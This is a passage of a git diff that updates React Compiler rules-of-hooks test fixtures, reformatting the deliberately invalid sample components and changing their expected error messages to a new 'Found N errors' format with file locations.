-    |                      ^^^^^^^^^^^^^^^^^^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (2:2)
+> 2 |   const {result} = Module.useConditionalHook?.() ?? {};
+    |                    ^^^^^^^^^^^^^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   3 |   return result;
   4 | }
   5 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optional-methodcall.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optional-methodcall.js
index cd3062ce3e5e..ede919a64a66 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optional-methodcall.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optional-methodcall.js
@@ -1,4 +1,4 @@
 function Component() {
-  const { result } = Module.useConditionalHook?.() ?? {};
+  const {result} = Module.useConditionalHook?.() ?? {};
   return result;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optional-property.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optional-property.expect.md
index 6d9d68f10e86..b9ea596f281e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optional-property.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optional-property.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function Component() {
-  const { result } = Module?.useConditionalHook() ?? {};
+  const {result} = Module?.useConditionalHook() ?? {};
   return result;
 }
 
@@ -13,9 +13,14 @@ function Component() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-hook-optional-property.ts:2:19
   1 | function Component() {
-> 2 |   const { result } = Module?.useConditionalHook() ?? {};
-    |                      ^^^^^^^^^^^^^^^^^^^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (2:2)
+> 2 |   const {result} = Module?.useConditionalHook() ?? {};
+    |                    ^^^^^^^^^^^^^^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   3 |   return result;
   4 | }
   5 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optional-property.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optional-property.js
index 590819ea80eb..0b1d0d675621 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optional-property.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optional-property.js
@@ -1,4 +1,4 @@
 function Component() {
-  const { result } = Module?.useConditionalHook() ?? {};
+  const {result} = Module?.useConditionalHook() ?? {};
   return result;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optionalcall.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optionalcall.expect.md
index 4cc455400faf..046df4a91af4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optionalcall.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optionalcall.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function Component() {
-  const { result } = useConditionalHook?.() ?? {};
+  const {result} = useConditionalHook?.() ?? {};
   return result;
 }
 
@@ -13,9 +13,14 @@ function Component() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-hook-optionalcall.ts:2:19
   1 | function Component() {
-> 2 |   const { result } = useConditionalHook?.() ?? {};
-    |                      ^^^^^^^^^^^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (2:2)
+> 2 |   const {result} = useConditionalHook?.() ?? {};
+    |                    ^^^^^^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   3 |   return result;
   4 | }
   5 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optionalcall.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optionalcall.js
index 3ec634ea05bc..589de67193f7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optionalcall.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optionalcall.js
@@ -1,4 +1,4 @@
 function Component() {
-  const { result } = useConditionalHook?.() ?? {};
+  const {result} = useConditionalHook?.() ?? {};
   return result;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-reassigned-in-conditional.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-reassigned-in-conditional.expect.md
index 2a51b73e7213..945517a81698 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-reassigned-in-conditional.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-reassigned-in-conditional.expect.md
@@ -14,17 +14,39 @@ function Component(props) {
 ## Error
 
 ```
+Found 3 errors:
+
+Error: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+
+error.invalid-hook-reassigned-in-conditional.ts:3:20
   1 | function Component(props) {
   2 |   let y;
 > 3 |   props.cond ? (y = useFoo) : null;
-    |                     ^^^^^^ InvalidReact: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values (3:3)
+    |                     ^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+  4 |   return y();
+  5 | }
+  6 |
 
-InvalidReact: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values (3:3)
+Error: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
 
-InvalidReact: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values (4:4)
+error.invalid-hook-reassigned-in-conditional.ts:3:16
+  1 | function Component(props) {
+  2 |   let y;
+> 3 |   props.cond ? (y = useFoo) : null;
+    |                 ^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
   4 |   return y();
   5 | }
   6 |
+
+Error: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+
+error.invalid-hook-reassigned-in-conditional.ts:4:9
+  2 |   let y;
+  3 |   props.cond ? (y = useFoo) : null;
+> 4 |   return y();
+    |          ^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+  5 | }
+  6 |
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-1b9527f967f3.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-1b9527f967f3.expect.md
index 66f216766a21..d7e3408dfc38 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-1b9527f967f3.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-1b9527f967f3.expect.md
@@ -25,19 +25,51 @@ function useHookInLoops() {
 ## Error
 
 ```
+Found 4 errors:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-rules-of-hooks-1b9527f967f3.ts:7:4
    5 | function useHookInLoops() {
    6 |   while (a) {
 >  7 |     useHook1();
-     |     ^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (7:7)
-
-InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (9:9)
+     |     ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+   8 |     if (b) return;
+   9 |     useHook2();
+  10 |   }
 
-InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (12:12)
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
 
-InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (14:14)
+error.invalid-rules-of-hooks-1b9527f967f3.ts:9:4
+   7 |     useHook1();
    8 |     if (b) return;
-   9 |     useHook2();
+>  9 |     useHook2();
+     |     ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+  10 |   }
+  11 |   while (c) {
+  12 |     useHook3();
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-rules-of-hooks-1b9527f967f3.ts:12:4
   10 |   }
+  11 |   while (c) {
+> 12 |     useHook3();
+     |     ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+  13 |     if (d) return;
+  14 |     useHook4();
+  15 |   }
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-rules-of-hooks-1b9527f967f3.ts:14:4
+  12 |     useHook3();
+  13 |     if (d) return;
+> 14 |     useHook4();
+     |     ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+  15 |   }
+  16 | }
+  17 |
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-2aabd222fc6a.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-2aabd222fc6a.expect.md
index 92e305250d89..bbc3f16657b6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-2aabd222fc6a.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-2aabd222fc6a.expect.md
@@ -18,10 +18,15 @@ function ComponentWithConditionalHook() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-rules-of-hooks-2aabd222fc6a.ts:7:4
    5 | function ComponentWithConditionalHook() {
    6 |   if (cond) {
 >  7 |     useConditionalHook();
-     |     ^^^^^^^^^^^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (7:7)
+     |     ^^^^^^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
    8 |   }
    9 | }
   10 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-49d341e5d68f.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-49d341e5d68f.expect.md
index 48ab556c6716..6f0547a60070 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-49d341e5d68f.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-49d341e5d68f.expect.md
@@ -19,10 +19,15 @@ function useLabeledBlock() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-rules-of-hooks-49d341e5d68f.ts:8:4
    6 |   label: {
    7 |     if (a) break label;
 >  8 |     useHook();
-     |     ^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (8:8)
+     |     ^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
    9 |   }
   10 | }
   11 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-79128a755612.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-79128a755612.expect.md
index 22e8aabc7090..282a4d4618ca 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-79128a755612.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-79128a755612.expect.md
@@ -18,10 +18,15 @@ function ComponentWithHookInsideLoop() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-rules-of-hooks-79128a755612.ts:7:4
    5 | function ComponentWithHookInsideLoop() {
    6 |   while (cond) {
 >  7 |     useHookInsideLoop();
-     |     ^^^^^^^^^^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (7:7)
+     |     ^^^^^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
    8 |   }
    9 | }
   10 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-9718e30b856c.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-9718e30b856c.expect.md
index 9c39f8f1e57c..1a725bf09eb9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-9718e30b856c.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-9718e30b856c.expect.md
@@ -9,9 +9,9 @@
 function useHook() {
   if (a) return;
   if (b) {
-    console.log("true");
+    console.log('true');
   } else {
-    console.log("false");
+    console.log('false');
   }
   useState();
 }
@@ -22,10 +22,15 @@ function useHook() {
 ## Error
 
 ```
-  10 |     console.log("false");
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-rules-of-hooks-9718e30b856c.ts:12:2
+  10 |     console.log('false');
   11 |   }
 > 12 |   useState();
-     |   ^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (12:12)
+     |   ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   13 | }
   14 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-9718e30b856c.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-9718e30b856c.js
index 431627e606bb..7531fa438d7a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-9718e30b856c.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-9718e30b856c.js
@@ -5,9 +5,9 @@
 function useHook() {
   if (a) return;
   if (b) {
-    console.log("true");
+    console.log('true');
   } else {
-    console.log("false");
+    console.log('false');
   }
   useState();
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-9bf17c174134.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-9bf17c174134.expect.md
index 007633a13711..d36b79fd91b0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-9bf17c174134.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-9bf17c174134.expect.md
@@ -17,15 +17,28 @@ function useHook() {
 ## Error
 
 ```
+Found 2 errors:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-rules-of-hooks-9bf17c174134.ts:6:7
   4 | // This *must* be invalid.
   5 | function useHook() {
 > 6 |   a && useHook1();
-    |        ^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (6:6)
-
-InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (7:7)
+    |        ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   7 |   b && useHook2();
   8 | }
   9 |
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-rules-of-hooks-9bf17c174134.ts:7:7
+  5 | function useHook() {
+  6 |   a && useHook1();
+> 7 |   b && useHook2();
+    |        ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+  8 | }
+  9 |
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-b4dcda3d60ed.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-b4dcda3d60ed.expect.md
index 27b1e083018f..c29436a1cefa 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-b4dcda3d60ed.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-b4dcda3d60ed.expect.md
@@ -16,10 +16,15 @@ function ComponentWithTernaryHook() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-rules-of-hooks-b4dcda3d60ed.ts:6:9
   4 | // This *must* be invalid.
   5 | function ComponentWithTernaryHook() {
 > 6 |   cond ? useTernaryHook() : null;
-    |          ^^^^^^^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (6:6)
+    |          ^^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   7 | }
   8 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-c906cace44e9.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-c906cace44e9.expect.md
index 6b95e101210f..8d7d38f404b0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-c906cace44e9.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-c906cace44e9.expect.md
@@ -17,10 +17,15 @@ function useHook() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-rules-of-hooks-c906cace44e9.ts:7:2
   5 | function useHook() {
   6 |   if (a) return;
 > 7 |   useState();
-    |   ^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (7:7)
+    |   ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   8 | }
   9 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-d740d54e9c21.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-d740d54e9c21.expect.md
index 3b135b30ef8f..30753847a065 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-d740d54e9c21.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-d740d54e9c21.expect.md
@@ -18,10 +18,15 @@ function normalFunctionWithConditionalHook() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-rules-of-hooks-d740d54e9c21.ts:7:4
    5 | function normalFunctionWithConditionalHook() {
    6 |   if (cond) {
 >  7 |     useHookInsideNormalFunction();
-     |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (7:7)
+     |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
    8 |   }
    9 | }
   10 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-d85c144bdf40.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-d85c144bdf40.expect.md
index 9b8e9957bdb9..19a99ca07c7f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-d85c144bdf40.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-d85c144bdf40.expect.md
@@ -20,15 +20,29 @@ function useHookInLoops() {
 ## Error
 
 ```
+Found 2 errors:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-rules-of-hooks-d85c144bdf40.ts:7:4
    5 | function useHookInLoops() {
    6 |   while (a) {
 >  7 |     useHook1();
-     |     ^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (7:7)
-
-InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (9:9)
+     |     ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
    8 |     if (b) continue;
    9 |     useHook2();
   10 |   }
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-rules-of-hooks-d85c144bdf40.ts:9:4
+   7 |     useHook1();
+   8 |     if (b) continue;
+>  9 |     useHook2();
+     |     ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+  10 |   }
+  11 | }
+  12 |
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-ea7c2fb545a9.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-ea7c2fb545a9.expect.md
index a43373e2eaa3..52d60f6df0f4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-ea7c2fb545a9.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-ea7c2fb545a9.expect.md
@@ -18,10 +18,15 @@ function useHookWithConditionalHook() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-rules-of-hooks-ea7c2fb545a9.ts:7:4
    5 | function useHookWithConditionalHook() {
    6 |   if (cond) {
 >  7 |     useConditionalHook();
-     |     ^^^^^^^^^^^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (7:7)
+     |     ^^^^^^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
    8 |   }
    9 | }
   10 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-f3d6c5e9c83d.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-f3d6c5e9c83d.expect.md
index 6ea7a0d0a055..4583ede479ae 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-f3d6c5e9c83d.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-f3d6c5e9c83d.expect.md
@@ -8,9 +8,9 @@
 // This *must* be invalid.
 function useHook() {
   if (b) {
-    console.log("true");
+    console.log('true');
   } else {
-    console.log("false");
+    console.log('false');
   }
   if (a) return;
   useState();
@@ -22,10 +22,15 @@ function useHook() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-rules-of-hooks-f3d6c5e9c83d.ts:12:2
   10 |   }
   11 |   if (a) return;
 > 12 |   useState();
